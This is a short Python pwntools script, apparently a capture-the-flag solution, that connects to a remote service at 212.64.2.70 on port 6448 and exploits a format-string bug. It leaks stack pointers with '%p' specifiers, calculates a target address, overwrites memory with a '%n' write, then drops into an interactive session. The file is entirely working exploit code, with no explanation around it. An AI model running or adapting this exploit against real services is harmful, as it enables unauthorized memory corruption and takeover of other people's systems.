import pwn

port = 6448
# p = pwn.process("./client")
p = pwn.remote("212.64.2.70", str(port))
pwn.context(arch="i686", os="linux", log_level="debug")

# input()
p.sendline("%7$p")
p.sendline("%140$p")
for s in p.recvlines(numlines=17):
	print(s)
p.sendline("5")
for s in p.recvlines(numlines=9):
	print(s)
s = p.recvline()
print(s)
ptr = int(s[2:], 16)
ptr = ptr - 1016
print("%x" % ptr)
tmp = 0
i = 0
# while i < 8:
# 	tmp = (tmp << 8) | (ptr & 0xff)
# 	ptr = ptr >> 8
# 	i = i + 1
# ptr = tmp

p.sendline(str(4))
#while(1):
#	print(p.recvline())
for s in p.recvlines(numlines=13):
	print(s)
print("ptr : %x" % ptr)
s = "%4196150c%140$n"
p.sendline(s)
s = "cc" + pwn.p64(ptr)
p.sendline(s)

p.sendline(str(5))

# for s in p.recvlines(numlines=20):
	# print(s)
# p.interactive()
# p.sendline(str(5))
# while(1):
	# print(p.recvline())
p.interactive()
